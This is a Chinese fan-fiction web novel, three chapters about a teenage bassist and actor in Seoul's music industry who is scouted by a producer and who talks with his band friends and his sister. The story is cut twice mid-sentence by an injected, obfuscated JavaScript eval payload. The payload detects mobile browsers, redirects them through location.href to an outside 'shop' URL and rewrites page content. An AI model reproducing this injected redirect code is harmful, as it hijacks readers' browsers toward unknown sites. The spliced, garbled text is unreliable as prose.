《[娱乐圈]巴别塔》 1. 样本识别 七月的首尔,汉江公园的傍晚总是聚满人群。 但安岁秋还是找到了他的角落,一处远离步行道的观景台边缘,面前是江面波光粼粼,身后是都市灯火逐渐亮起。 这把薄荷绿色的Fender Jazz Bass[1]在他手中已经有八年了。七岁时父母从国外带回了这把琴作为他的生日礼物,当时他还抱得不太稳,如今,像这样在琴颈上移动的手指动作已形成了肌肉记忆,每一个推弦、揉弦都能精准到位。 江风吹起微卷的黑发,露出安岁秋专注的侧脸。 手机震动打断了他沉浸的情绪—— 「安宥拉:我订好机票了,下周回国。你中考完别老宅着,多出去走走。」 安岁秋回复了一个小猫点头的表情包,收起手机。 中考成绩前天已经出来了,校内一等,春川高等中学[2]的录取通知书也寄到了家里。 安岁秋本该感到轻松的。 上周,他与FNC的三年演员合约到期,而那些在片场、练习室和学校之间奔忙的日子突然有了一个明显的缺口,不知为何,他却难以享受这份难得悠闲的时光。 他把贝斯小心地装入定制琴包,效果器、线缆、谱架——每样东西都有固定位置,这是他从小养成的习惯。 起身时江风掀起他脖颈处的碎发,露出颈间那根细细的红绳,坠子是枚极小的白玉平安扣,是爷爷在他出生那年去中国旅行时请回来的。 明洞街头的喧闹与汉江边的宁静完全像是两个世界。 安岁秋站在鸡蛋仔的摊铺前排队,耳机里循环着他最近正在制作的demo,循环几遍,还是总感觉哪里不对味。 “客人,您的原味鸡蛋仔好了。” 安岁秋接过纸袋,热乎乎的香气扑面而来,他摘下一边耳机,正打算找个阴凉处解决这份甜点,结果却被不远处传来的吉他试音声吸引了注意力。 街角的小型演出台上,一支学生模样的乐队正在做演出准备。主唱是个鸭舌帽的男生,正紧张地调试话筒高度,吉他手蹲在地上整理效果器线缆,鼓手已经就位,但贝斯手的位置空着。 “浩延怎么还没到?” 主唱第四次看手机,声音里透着焦急,“说好两点半,这都五点四十了!” “刚打电话说还在堵车,汉江大桥那边有事故。” 吉他手无奈耸肩,“至少还要二十分钟。” “那怎么办?我们说好六点开始的……” 安岁秋咬了一口鸡蛋仔,外脆内软,甜度刚好。 他低头看手机,跟FTISLAND哥哥们的群聊里,李弘基刚发了段在日本演出的花絮视频,他正要点开,肩膀就被轻轻碰了一下。 “那个……不好意思。” 那个带着鸭舌帽的主唱站在他面前,目光落在他肩上的琴包上,“请问……你会弹贝斯吗?” 安岁秋下意识后退半步,但还是诚实地点了点头。 “拜托了!”男生双手合十,九十度鞠躬。 “我们乐队的贝斯手堵在高速上过不来,演出还有五分钟开始……” “就一首歌!《孤独的人》[3],CNBLUE的那首,你会吗?” 太会了,安岁秋想。 这首歌的副歌部分还是他和郑容和讨论了三个小时才定稿的。 安岁秋拒绝的话已经到了嘴边,却看见了街角演出台边,另外两个乐队成员正朝这边拼命挥手,脸上写满绝望。 主唱手里的麦克风在微微发抖。 “……带路吧。”他听见自己说。 演出台比想象中还要简陋,主唱递给安岁秋一张皱巴巴的谱子,大概是网上找的简化版,几个关键的和弦变化都没标对。 “用这个就行!”主唱擦了把汗。 “跟着和弦走就可以,不用太复杂……” 安岁秋没说话,只是调了调贝斯背带,插上线。音箱传出轻微的电流声,他拨动琴弦试了几个音——低沉、饱满,带着经年好琴特有的温润质感。 “准备……三、二、一!” 鼓点响起时,安岁秋闭上了眼。 这不是他第一次演奏这首歌,但却是第一次在公开场合弹奏。 指尖触弦的瞬间,身体就自动切换到演奏状态—— Pre-Chorus加入Walking Bass Line推进情绪,Chorus时换成八分音符的重复段,让律动感更强烈,都是他自己编曲时设计的细节。 主唱的嗓音条件其实不错,但过度的紧张让声音发紧,尾音有些飘。 安岁秋垂下眼,左手在琴颈上快速移动,右手拨弦的动作稳定流畅,在副歌开始时他微微侧身,靠近了立架话筒,开口替主唱垫了和声。 不是抢风头,只是恰到好处的衬托,清亮又带着些许慵懒的少年音色托住了主唱不稳的声线,让整首歌的听感瞬间提升了一个层次。 主唱惊讶地转头看他,安岁秋却只是专注地盯着指板,仿佛刚才那神来之笔的和声不是出自他口。 台下有人开始举起手机拍摄。 第二段主歌,安岁秋加了段即兴的贝斯solo,十六音符流畅地串联起和弦进行,几个漂亮的击勾弦技巧让台下几个懂行的乐迷吹起口哨。 举起的手机越来越多,镜头甚至大部分都对准了角落里的贝斯手,他却只是垂着眼,仿佛这一切都再平常不过。 口罩遮住了贝斯手的大半张脸,只露出那双专注的眼—— 浅棕色,眼尾微微上扬,在舞台灯光下泛着琥珀般的光泽。 最后一小节结束,安岁秋利落地收手,余音在音箱里轻轻回荡,台下掌声响起。 “太厉害了!你……”主唱激动地握住他的手。 安岁秋轻轻抽回手,只是摇头。 “路过而已。”他快速拔掉线,收起贝斯,“祝你们演出顺利。” “等等!至少留个联系方式……” 但安岁秋已经背好琴包,汇入人群,像一滴水落入汉江,转瞬不见。 方时赫坐在街对面的二楼咖啡厅,面前摆着一杯冰美式和一份几乎没动的甜品。 他在头疼。 公司新策划的嘻哈组合企划已经推进了大半年,练习生们实力都不错,但总觉得……缺了点什么。 不是技巧上的缺失,而是一种难以言说的“色彩”,就像调色盘上有基础的红黄蓝,却调不出让人眼前一亮的颜色。 这时窗外传来音乐声,他随意瞥了一眼。 街头表演,常见,但那个贝斯手的背影让他多看了两眼——身形单薄,明显还是少年,但演奏姿态极其松弛专业。 方时赫对音乐敏感,即使隔着玻璃窗和街道喧嚣,也能听出贝斯线的干净利落,接着,和声加入。 他放下了咖啡杯。 那音色……清透中带着磁性的质感,像是夏日冰沙里混入的细碎薄荷,不突兀,但足以唤醒所有感官。 方时赫眯起本就不大的眼睛,身体前倾。 贝斯手全程戴着口罩,只能看到垂下的眼睫和偶尔抬眸时透出的专注目光。但就是这样半遮半掩,反而更引人探究,而第二段贝斯solo的出现更是让他一下子瞪大了眼睛。 太娴熟了,每个音符的时值都精准,揉弦的幅度恰到好处,即兴部分虽然简单但乐句完整,更重要的是改编思路。 原曲已经够成熟,但这个演奏者在不破坏框架的前提下,还能加入自己的理解。 演唱结束,那位少年快速收拾东西离开。 方时赫抓起西装外套冲下楼—— 以他很少运动的体格来说,这已经是他的极限速度了。 “请等一下!” 安岁秋回头看见一个胖胖的中年男人小跑过来,额头上挂着汗珠,递出一张名片。 “你好,我是Big Hit娱乐公司的代表,方时赫。”他喘了口气,努力摆出最和善的笑容。 “刚才的表演非常精彩,尤其是你的和声部分,音色和技巧都很有个人特色。” 安岁秋接过名片,看了眼上面的公司名称和logo,嗯,他没听说过。 “谢谢。”他礼貌点头,准备离开。 “等等——” 方时赫连忙侧身挡住去路,又觉得这样太唐突,赶紧退开半步。 “抱歉,我只是……很想和你聊聊。你对音乐很有想法吧?背着贝斯,应该是真心喜欢演奏的人。” 安岁秋停下脚步,这个PD虽然看起来有些冒失,但眼神里的热切是真的。 那种对“好苗子”的敏锐嗅觉,他在FNC的老师眼里也见过。 “我们公司虽然规模不大,但正在筹备一个全新的嘻哈音乐组合。” 方时赫见少年没有立刻拒绝,赶紧继续。 “不是传统偶像那种,而是真正有音乐性、有表达欲的团体。我看得出来,你不是只会照谱演奏的类型,你有自己的理解。” 夏日的风吹过街道,掀起安岁秋额前的碎发。 “尤其是第二段主歌后的过渡,你用了降六级和弦做转调中介,让D大调到B小调的转折更自然,这个处理很聪明。” 安岁秋转过身,眼前的人,小眼睛圆脸,西装不太合身,但说起音乐术语倒是自信了许多。 “你怎么知道原曲的调性?” “我是制作人。”方时赫有些自豪地笑。 “而且我认识郑容和xi,他提过这首曲子是和公司里一位弟弟一起琢磨的,他说那位合作者虽然年纪小,但是很有天赋。” 安岁秋睫毛轻颤,口罩下的嘴角微微扬起。 容和哥确实喜欢到处说这事,好像发现他的创作天赋是什么了不起的成就。 “所以……” 方时赫趁热打铁,“你不仅有技术,还有创作思维,我们公司正在筹备一个音乐导向的组合,需要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394850|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是你这种人才。如果你感兴趣……” “抱歉,我是演员。”安岁秋打断他。 换做旁人,大概听到安岁秋这句话就直接退缩了,韩国演员和爱豆的差别,是哪怕不混娱乐圈的人都能察觉到的。 历史上有爱豆绞尽脑汁去当演员的,但从来没有演员自讨苦吃去做爱豆的。 所以安岁秋想,自己的拒绝已经够直接了,可惜涉世未深的少年,还不知道狡猾的大人早已在社会上磨丢了脸皮。 “演员?” 方时赫嘴巴没停,眼睛还更大了,“那更好了!舞台表现力、镜头感都是加分项,而且——” 他压低声音,“有别的公司找过你吗?以你的条件,他们应该不会放过。” “递过练习生合约。”安岁秋如实说。 “但我没接。” 方时赫明显松了口气:“那就好,我的意思是……演员和音乐人并不冲突,你有这么好的底子,不继续发展太可惜了。” 他从手机里翻出几张照片—— 狭窄的练习室、略微磨损的录音设备、几个模糊但挺拔的少年背影。 安岁秋发现面前这个胖子是真心在为手机里那个破旧的公司在感到骄傲,他不由得产生了几分好奇。 “我们公司不大,但氛围很好,如果你愿意,随时可以来看看,就当交个朋友。” 话说得诚恳,甚至有些急切。 安岁秋看着对方额头的汗,想起刚才演奏时那种久违的、纯粹的快乐——没有镜头,没有台词,只是音乐从指尖流淌。 “我会考虑的。”他最终说。 “好好好!”方时赫笑得眼睛眯成缝,“随时欢迎!” 安岁秋回到FNC提供的宿舍时,已是傍晚,他把贝斯小心靠在墙角,掏出手机,屏幕亮起多条未读消息。 「敏赫哥:我们安安中考成绩出来没?肯定是一等吧?」 「容和哥:晚上来练习室,点了炸鸡,给你带了石锅拌饭。」 「正信哥:别买吃的了,哥哥们买了,早点回来。」 他挨个回复,最后点开和李弘基的对话框,想了想,他打字:「弘基哥,今天我在街上弹了《孤独的人》。」 对面几乎是秒回:「???为什么不是我们的歌?!」 「I Hope!Love Sick! Thunder!你不会弹吗?」 「不对,等等,你是不是又跑去街头表演了?不是说好了要在有保护措施的地方才能演出吗!」 然后是一连串的语音条,安岁秋没点开,只是对着屏幕轻轻笑了一下。 他换下被汗浸湿的T恤,冲了个澡,出门前又看了眼被放在桌上的那张名片。 Big Hit Entertainment. 名字倒挺有野心,抽屉拉开,里面躺着十几张来自不同经纪公司的名片,最上面那张,是当初SM公司的星探塞给他的,印着闪闪发光的公司logo。 他把方时赫给的名片放在最上面,没有压在任何一张下面。 窗外,首尔的霓虹映薄荷绿色的琴身上,流转出迷离的光晕。 十五岁的夏天,汉江的水声、街头的掌声、还有那些话,像某种微小的种子,落进心里尚不自知的土壤。 似乎有什么正在悄然改变轨迹。 而安岁秋还不知道,对面的公司练习室里,刚结束排练的CNBLUE三人正凑在一起看手机。 屏幕上正是他下午街头表演的视频—— 点赞数已经破两万,热评第一条:「这个贝斯手是专业乐手吧?那几个技巧需要多年练习。」 第二条:「和声设计绝了,是不是重新编曲了?」 第三条:「虽然戴着口罩,但也能看出来很帅诶,是练习生吗……」 “这个贝斯……”姜敏赫眯起眼睛。 “这个声音……”郑容和挑眉。 李正信直接放大画面,盯着那个模糊的侧影看了两秒,然后抬头看向宿舍楼亮着灯的某个窗口。 “呀,安岁秋——!” 少年的名字,就这样混着夏夜温热的风,飘散在渐渐降临的暮色里。 ------------------------ 参考文献: [1] Fender. Custom Shop Time Machine ''63 Jazz Bass[Bass Guitar]. Fender Custom Shop, 2003. [2] 江原道教育厅. 春川高等学校[School]. 公立男子普通高中,江原道春川市中央路160,1924-03-31。 [3] 金道勋, 李尚浩(曲); 韩成浩, Amen (词). 孤独的人[CD]. CNBLUE, Bluetory. 首尔, FNC Music, 2010-01-14. 2. 同行评议 安岁秋刚推开练习室的门,就被三双眼睛牢牢锁住。 “解释。” 郑容和抱着手臂靠在墙边,表情严肃,如果忽略他嘴角沾着的炸鸡碎屑的话。 姜敏赫盘腿坐在地板上,手机屏幕幽幽亮着,暂停的画面正是那段街头表演视频,他抬眼看过来,嘴角噙着意味深长的笑。 最要命的是李正信,188的大个子一个箭步跨过来,双手稳稳按住安岁秋的肩膀,声音里满是夸张的痛心。 “我们安安!用着哥哥们的歌在外面大杀四方!” 他身形高大,往那儿一站,直接把尚未成年的小豆丁挡了个严严实实。 “哥,鱼糕要撒了。” 安岁秋无奈地举了举手里的塑料袋,里面是楼下便利店买的鱼糕串和几瓶饮料。 姜敏赫笑着接过来,顺手把李正信拉开。 “让安安喘口气。” 练习室里弥漫着炸鸡的香气,安岁秋摘下口罩,露出那张在灯光下愈发精致的脸。 他目光扫过桌上狼藉的外卖盒,三盒炸鸡,一份几乎没动的沙拉,还有一份单独放在旁边、用保温袋包着的石锅拌饭。 “给你的。” 郑容和终于绷不住笑了,走过来揉了揉他的头发。 “知道你吃不了油炸的。这家是新开的店,泡菜是老板自己腌的,尝尝。” 安岁秋在空位坐下,打开饭盒。 温热的米饭上铺着嫩黄的煎蛋、炒得喷香的牛肉、翠绿的菠菜、嫩白的豆芽,旁边一小碟泡菜红得鲜亮。他夹起一筷送入口中,泡菜的酸辣与牛肉的鲜甜在舌尖交织。 “好吃。” “那当然,我挑了半小时才选定的店。”郑容和得意地说,随即又板起脸。 “但这不是重点,视频怎么回事?” 安岁秋慢条斯理地咽下食物,才开口,“刚好路过,被临时拉上去的。” “这么巧?” 李正信凑过来,眼睛亮得像发现新大陆,“还正好是这首?那段solo我循环了三遍,第二小节那个击勾弦组合……” “你什么时候琢磨出来的?” “是容和哥上次说可以试试的变奏。” 郑容和愣了一下,“我什么时候……” “半年前,凌晨两点,在工作室。你说原曲的贝斯线在bridge部分可以再大胆一点,我记下来了。” 安岁秋又吃了一口饭,仿佛在说今天天气不错。 练习室安静了几秒,李正信第一个笑出声,“所以这是集体创作?那版权费怎么分?” “呀!” 郑容和笑着拍他,“重点是这个吗?” 姜敏赫笑眯眯地凑近,眼睛弯成月牙,“没想到我们安安这么口是心非啊。” “那么久的事还记得清清楚楚,不是说这首歌都听烦了吗?” “嗯?不是说再也不想听了吗?” 安岁秋撇过头,耳根微微泛红。 “当然听烦了,我改了不下三十版,听你们唱了一百多遍,那段时间连做梦都是这个旋律。” 郑容和笑着揉了揉弟弟的头发,目光扫过那泛红的耳尖,与姜敏赫交换了一个心照不宣的眼神。 “哎一古~”他拖长语调,声音里满是笑意。 “真是辛苦我们的小天才安安了,能写出这么好听的歌……哥哥们得好好谢谢你才对。” CNBLUE今年年初才在韩国正式出道。 在此之前,他们一直在日本以地下乐队的形式积累Live经验,尽管公司早有FTISLAND成功在前,但乐队形式向来不是K-POP的主流选择,他们也并非没有担忧过出道后的反响。 好在,郑容和与安岁秋投入的心血没有白费,两人共同打磨的出道曲《孤独的人》,仅用十五天便拿下KBS《音乐银行》周榜一位,打破了新人夺冠的最快纪录。 那段时间,这首歌几乎飘荡在首尔每一条街道。 安岁秋小口扒着饭,脸颊随着咀嚼微微鼓起,像只偷藏粮食的小松鼠,等完全咽下,他才开口,“明明是容和哥写得更多,要谢也该谢你们自己。” 姜敏赫默默递上一杯温水,“你和容和哥都该谢。” 他伸手揉了揉安岁秋的脸,语气里带着疼惜。 “哎一古,小小年纪就这么老成,小心长白头发。你看容和哥,明显就老了。” “?” 郑容和微笑,“你想死吗?” 李正信嘴里塞着鱼糕,被烫得嘶哈嘶哈,含糊不清地插话:“安安,你别回春川了呗?” “跟我们一起搞乐队怎么样?乐队又没什么年龄限制,你要是不想唱歌,全交给容和哥唱也行嘛!” “?”郑容和头上又多了一个问号。 “要不下次我不唱了,你来当主唱,我去弹贝斯。” 安岁秋摇摇头。 “不要,我只把乐队当爱好,不想天天表演。你们一直唱同一首歌,不会烦吗?” “是有点啦,不过看到那么多人喜欢我们的音乐不是会很高兴吗?也不会那么烦了,真的很烦,大不了就换首歌好了。” “安安。” 郑容和在他身边坐下,“你真的很喜欢音乐吧?” 安岁秋低头看着自己手上的薄茧——贝斯弦,吉他弦,鼓棒,这些痕迹从他八岁开始学乐器时就一点点积累,如今已经成为皮肤的一部分。 “但是喜欢和当成职业,是两回事。” “我喜欢汉江边一个人弹琴,喜欢在工作室写歌到天亮,喜欢和你们一起jam的时候突然找到灵感……” “但我不喜欢每天唱同一首歌,跳同一支舞,说一样的话。” 他顿了顿,声音更轻, “我不想变成商品。” 这话太重,砸在地上几乎有回声,李正信张嘴想说什么,被姜敏赫按住了手。 郑容和沉默了很久,久到安岁秋以为他生气了,才听见他轻声开口, “我知道。” “哥……” “我真的知道。” 郑容和笑了,笑容里带着些苦涩,“你以为我们在日本表演没想过这些?” “一首歌翻来覆去演几百遍,为了生计接不喜欢的商演,看着观众来了又走……有时候半夜练完琴,对着汉江发呆,会问自己到底在坚持什么。” 他看向安岁秋,眼神很认真,“但后来我发现,重要的不是‘变成什么’,而是‘通过它表达什么’。” “就像《孤独的人》能打动那么多人,不是因为它多完美,而是因为写它的时候,我真的……很孤独。想把那种感觉说出来。” 安岁秋怔怔地看着他。 “所以……” 郑容和拍了拍他的肩,“如果你找到了想表达的东西,用什么方式都不重要。” “演员也好,乐手也好,制作人也好——重要的是,别让那份热情死了。” 姜敏赫适时岔开话题,语气轻松,“我们安安还小呢,急什么。先好好上学,多谈几场恋爱——” “敏赫哥!” “我说真的!你长这么好看,不去祸害……不是,不去体验一下青春多浪费!” 李正信已经切换到兴奋模式,“对对对!我们安安这张脸,去学校肯定很受欢迎!有没有女生给你递情书?有没有?” 安岁秋耳根瞬间烧红,“没有。” “我不信!” “真没有。”他低头扒饭,“我都戴口罩。” “那是暴殄天物!”李正信痛心疾首。 话题就这样被带偏了,等安岁秋吃完最后一口饭,哥哥们已经开始讨论下周的演出服配色,吵着要不要试试绿色系—— “跟安安的贝斯配一套!” “可是那更像蓝色吧!” 安岁秋安静地收拾饭盒,把垃圾分类装好。 他犹豫了一下,最终选择将今天街头演奏后那段小插曲暂时瞒下。 第六感告诉他,如果让这几个哥哥知道自己收了别家公司的邀约,恐怕会被这群人念叨到耳朵起茧,再想到还在日本的FTISLAND那几位…… 哇,要是这群人聚到一起,他大概会被声浪淹没。 彼时的他还不知道,未来竟会遇到比这更热闹更能吵的阵容。 窗外,首尔夜景如星河倾泻。 薄荷绿色的贝斯静静靠在墙角,在昏暗光线里泛着幽微的光泽。手机又震了一下,这次是李弘基发来的语音消息: “安安!下个月我们回首尔!给你带礼物!想要什么?” 安岁秋想了想,指尖在屏幕上轻敲,「哥平安回来就行。」 「哇我们安安太懂事了!等着!」 安岁秋放下手机,打开电脑。 他打算在离开前为FTISLAND的哥哥们留下一首歌。 李弘基因为他只给CNBLUE写了歌,已骚扰他半年有余,可这也没办法,他接触创作才多久? 能有一首完整的作品已属难得,连他自己都想夸一句“小天才”的程度。 戴上耳机,安岁秋点开命名为《HELLO HELLO_v13》[1]的工程文件,按下播放键。 动感的吉他前奏流淌而出,这是他自己弹奏并录制的。接着鼓点加入,虽用的是电子音色,但编排上极力模仿真鼓的动态与呼吸感。 安岁秋最初是以“未成年演员”的身份与FNC签下三年合约的。 在此之前,他收到过不少星探的邀约,从声名显赫的三大社到名不见经传的小公司,递来的橄榄枝无一例外都是“练习生”。 他并非不喜欢偶像,只是不喜欢“成为偶像”。 那些被层层包装的精致人偶,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394851|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美却缺乏鲜活的生命力,他不愿被束缚在这样的既定框架里。 他喜欢贝斯,喜欢电吉他,喜欢架子鼓,喜欢唱歌,也喜欢跳舞——但他不喜欢被限制的音乐。 所以当FNC递来一张演员合约时,他产生了好奇,他想试试自己在这条未知的路上能走多远,于是果断签下三年合约。 不长不短,足够他体验演员生活并做出判断。 作为公司第一位未成年演员,一切都需他自己摸索,新鲜感与挑战并存,安岁秋有信心能做好。 半年后,演技老师对他的表现赞不绝口,寄予厚望,然后,他就莫名其妙多了两个“大跟班”。 李弘基与郑容和因为要准备《原来是美男》[2]的拍摄,成了安岁秋的隔辈同学。 安岁秋曾一度以为这两人是亲兄弟——长得像,性格像,嗓音像,总是一起行动,还都能面不改色地喊他“小前辈”,恶趣味如出一辙。 两人动不动就拉着这位“小前辈”一起吃饭、练习,连带着已出道的FTISLAND和待出道的CNBLUE,都与他熟络起来。 FNC没有培养未成年练习生出道的惯例,现有的练习生多是高中生以上,为乐队选拔准备。 于是,一群精力过剩的哥哥们,不约而同地将魔爪伸向了全公司唯一的小豆丁。 安岁秋简直是理想的乖巧弟弟模板,十二三岁时脸上还带着婴儿肥,白白净净,精致得像个小姑娘。哥哥们动不动就被萌得捂心口,到后来甚至排班轮流接送他上下学。 安岁秋一度怀疑这群人把泛滥的父爱全倾注到了自己身上—— 明明才二十出头,怎么一个个跟老父亲似的?精力这么旺盛,怎么不去多写几首歌?搞乐队的人都这么闲吗? 事实证明,并非如此。 李弘基当初为在剧中演好鼓手,额外花了大量时间练习架子鼓。 他的定位是乐队主唱兼吉他手,鼓技只算基础,虽然拍摄不要求多么高超的技巧,但至少镜头前要像个熟练且有气势的鼓手。 那天安岁秋只是想喊李弘基去吃饭,他听见练习室的鼓声便走了进去,没忍住指点了几句。 架子鼓他练了六年,总归比对方娴熟些。 然后,局面便一发不可收拾了。 “你还会夹子鼓?!” 安岁秋这才想起,自己从未主动提起过这事,他平时总是独自找时间练习,这么算下来,双方还从未在演奏时碰过面。 现在回想起来,安岁秋简直想敲醒当时的自己。 怎么就能那么毫无防备地被哄着把各种乐器试了个遍? 难道看不出那群可恶的大人眼里闪烁的不怀好意吗? 安岁秋对自己的乐器水准确有信心,这是否意味着他想加入哥哥们的乐队? 那大可不必。 他还不想给自己未成年的肩膀上再加上一个重担。 可惜命运是改变不了的,哥哥们饶过了他,但是老师们没有饶过他,那年的监控虽然还不发达,但也不是摆设。 安岁秋眼睁睁看着自己的课程表上,被迫增加了作曲编曲课,本就忙于学业与拍戏的初中生,日子过得更加充实。 好消息是他很有天赋。 坏消息是他很有天赋。 于是,苦命的初中生一边要应付课业,一边还要辗转于片场,课余时间还得学习写歌与制作。 安岁秋不是没想过摆烂,但骨子里的认真劲儿推着他—— 既然做了,就要尽力做好。 再三确认已保存好最新版本后,他暂时关闭了电脑屏幕。 哎,可惜,世间没有那么多如果。 这是第一首完全由他独立完成的歌。 不是零散的片段,不是只有beat的伴奏,而是作词、作曲、编曲全由自己包办的完整作品。 创作期间,除了向老师请教修改意见,他没给任何人听过,CNBLUE的哥哥们不知情,更别说远在日本的FTISLAND了。 既然是礼物,总不能写得太差。 音乐播到bridge部分,他皱起眉,歌词确实拗口,太刻意了。 删掉,重写,又删掉。 窗外的城市灯光映在屏幕上,模糊了音符与文字的边界。 ------------------------ 参考文献: [1]金道勋,李尚浩(曲); 韩成浩,马里奥(词). Hello Hello[CD].FTISLAND, Return. 首尔, FNC Entertainment, 2011-05-24. [2]洪成昌(导), 洪静恩,洪美兰(编). 原来是美男啊[TV]. 李弘基(饰Jeremy), 郑容和(饰姜新禹). 首尔, SBS, 2009-10-07. 3. 家庭背景调查 安宥拉拖着行李箱走出仁川机场时,活活感觉自己像刚从战区撤下来的难民。 十四个小时的长途飞行将她的生物钟彻底搅乱,胃里只剩下飞机餐留下的虚浮感,她拦下一辆出租车,报出地址。 此刻她非常需需要一顿普普通通的韩餐。 安宥拉刚将第一口面条送进嘴里,就看见门口晃进一个熟悉的身影。 黑色口罩,灰色连帽衫,微卷的黑发从帽檐边缘探出来,个子…… 好像抽条了些?但身形依旧那么单薄。 她抬手挥了挥,便继续埋头对付碗里的面条。 天知道在美国留学这一年,她是怎么活下来的,那些可恶的白人饭把她折磨得有多惨!! 安岁秋在她对面坐下,摘下口罩,“点我的了吗?” 安宥拉摆手,嘴里塞得满满当当,含糊不清,“没,不知道你要吃什么。” 安岁秋低头翻了好一阵菜单,最后还是指向墙上的招牌炸酱面 。这个时间客人不多,面很快端了上来,他拿起筷子,慢条斯理地将混杂在面条里的胡萝卜丁一颗颗挑出来,堆在碗边。 安宥拉吃下半碗面,终于感觉空荡荡的胃落到了实处,长途飞行带来的散架感被食物一点点抚平,连时差造成的昏沉都消减了几分。 她抬眼看向自家弟弟—— 安岁秋正慢吞吞地嚼着嘴里的面条,眼神放空,仿佛进食只是维持生命体征的机械运动,就连那张过分好看的脸,也未能让这个画面看起来更有食欲。 半年未见,他脸上的婴儿肥褪去些许,轮廓显露出少年人特有的清俊骨骼,但那双眼睛没变。浅棕色的瞳孔,看人时总是很专注,像能一眼望到底。 “长高了吗?” 安宥拉伸手捏了捏弟弟的脸颊,“怎么还是这么瘦?”皮肤很软,却只是薄薄一层覆在骨头上,没什么多余的肉。 “呀,真要好好吃饭啊。”她忍不住念叨。 安岁秋任她捏,甚至还微微侧脸配合, “上个月量是164,应该是胖了一点的。”他伸出食指和大拇指比了会个让韩男破防的手势。 “哥哥们总喜欢投喂我,我吃了不少的,但就是不怎么长肉。” “别以为我听不出来你小子是在炫耀。” 安岁秋眯起眼睛笑了,两个小小的梨涡陷下去,配上蓬松的软发,像只恶作剧得逞的小狐狸。 还是未成年那种,浑身都是毛茸茸的幼态感。 安宥拉也笑起来。 她不笑时总带着几分冷艳疏离,但笑起来却和弟弟如出一辙,明媚又生动,姐弟俩虽然在陌生人面前总端着清冷的架子,但对亲近的人却是一般无二的温柔。 两人都没特意打扮,一个刚下国际航班,一个宅了几天才出门,却依旧掩不住过分出众的样貌。 邻桌几个女高中生频频偷瞄,小声嘀咕着“大发”,好在都很有礼貌,没掏出手机。 走出餐厅,安岁秋伸手要去拉行李箱,却被安宥拉用身高优势轻轻挡开,还顺手揉乱了他本就蓬松的头发。 “我自己来,别把你这个小个子压坏了。” “好好吃饭才能长高,别等到成年还没我高。” 安岁秋扯出一个没什么诚意的笑,“我还没发育完呢,离成年还早,但姐姐你已经不会长了。” “行行行,那我现在也比你高。” 安宥拉推着箱子往前走,“你就别老宅着,多锻炼锻炼,体力比我还差。” 她比安岁秋大四岁,去年独自去了纽约视觉艺术学院读珠宝设计[1],一点没担心在异国他乡会不适应。 姐弟俩上一次见面还是今年春节,他们的父母也从中国回来,一家人在春川爷爷奶奶的别墅团聚,顺便给她过了十九岁生日。 他们家养孩子向来随意,安岁秋两岁时,母亲就因为工作需要而调去了中国。 父亲带他到能上小学的年纪,便也当起了甩手掌柜,把姐弟俩交给了春川的爷爷奶奶,自己则跑去中国找妻子,顺带还在那里开了几家咖啡连锁店。 两位老人只关心孩子们身心健康,秉持“不违法乱纪干什么都支持”的溺爱原则。 因此安宥拉和安岁秋都养成了相当自我的性子。在家庭支持和财务自由的底线上,想做什么便去做,想学什么便去学。 当年安岁秋与FNC签约时,父母甚至没细问他是去做什么“练习生”,一度以为小儿子是去当偶像。 直到安宥拉在电视上看到弟弟的脸,才知道他签的是演员约,不是爱豆。 安岁秋对此表示,其实你们都半斤八两。 “你这次回来打算待多久” “一个月?我打算先在首尔玩一周,顺便见见朋友,再回春川” “哦…” 安宥拉放下正在和朋友聊天的手机,看出弟弟的欲言又止,“你想说什么?” “姐你觉得……idol怎么样?”安岁秋眨眨眼,看向留学后明显成熟不少的姐姐。 “你现在不想当演员,想当偶像了?” “也不算吧,只是有点好奇。” 他顿了顿,“不过大概也不是传统那种偶像,可能会是Bigbang那样的?比较自由,没那么死板。” 安宥拉一听就知道这小子已经在心里有了偏向,只是想找人倾听一下他的想法。 “好奇就去试试呗,不试试怎么知道,错过机会可是会后悔的” “爸妈那边不用担心,他们一直以为你早就在唱跳了。爷爷奶奶更不用说,从不干涉我们。至于我……” 她笑起来,“我还等着你出道后帮我要签名呢。” “别想那么远。”安岁秋无奈,“我还没想好。” “不应该啊。” “你在纠结什么?家庭没压力,学业没压力,经济也没压力……” “啊,你不会是怕你那几个搞乐队的哥哥生气吧?” 安宥拉了解自己弟弟,她几乎是看着他从小屁孩长成现在这副招人喜欢的模样,也看着他怎么被FNC那群哥哥们宠上天。 那些人是真的把他当亲弟弟疼——接送上下学,带他吃饭,教他乐器,连写歌都拉着一起。 安岁秋不说话,只是摆弄自己的手指。 “安安。” 她叹了口气,轻声说,“人对你好,不是要绑住你,他们对你好,是因为你值得,不是要你回报。” 安岁秋抬眼看她。 “而且。” 安宥拉笑了,“你要是真觉得对不起他们,等以后红了,多给他们写几首歌不就行了?对了——” 她眼睛一亮,“你去做爱豆一定要记得帮我要签名!我要F(x)全体的!特别是郑秀晶的!她可太好看了!” “姐……” “我说真的!”她越说越兴奋,“还有SHINee的Key,他的时尚品味我超喜欢!啊,还有2PM的尼坤……” 安岁秋无奈地看着她滔滔不绝地列清单,心里那点纠结莫名其妙散了些。 是啊,哥哥们从来不是他的枷锁,李弘基总说:“我们安安想做什么就去做,天塌下来有哥哥们顶着。” “我会考虑的。”他终于说。 “不是考虑,是去试试。” 安宥拉敲他额头,“你才十五岁,试错成本低得很。” 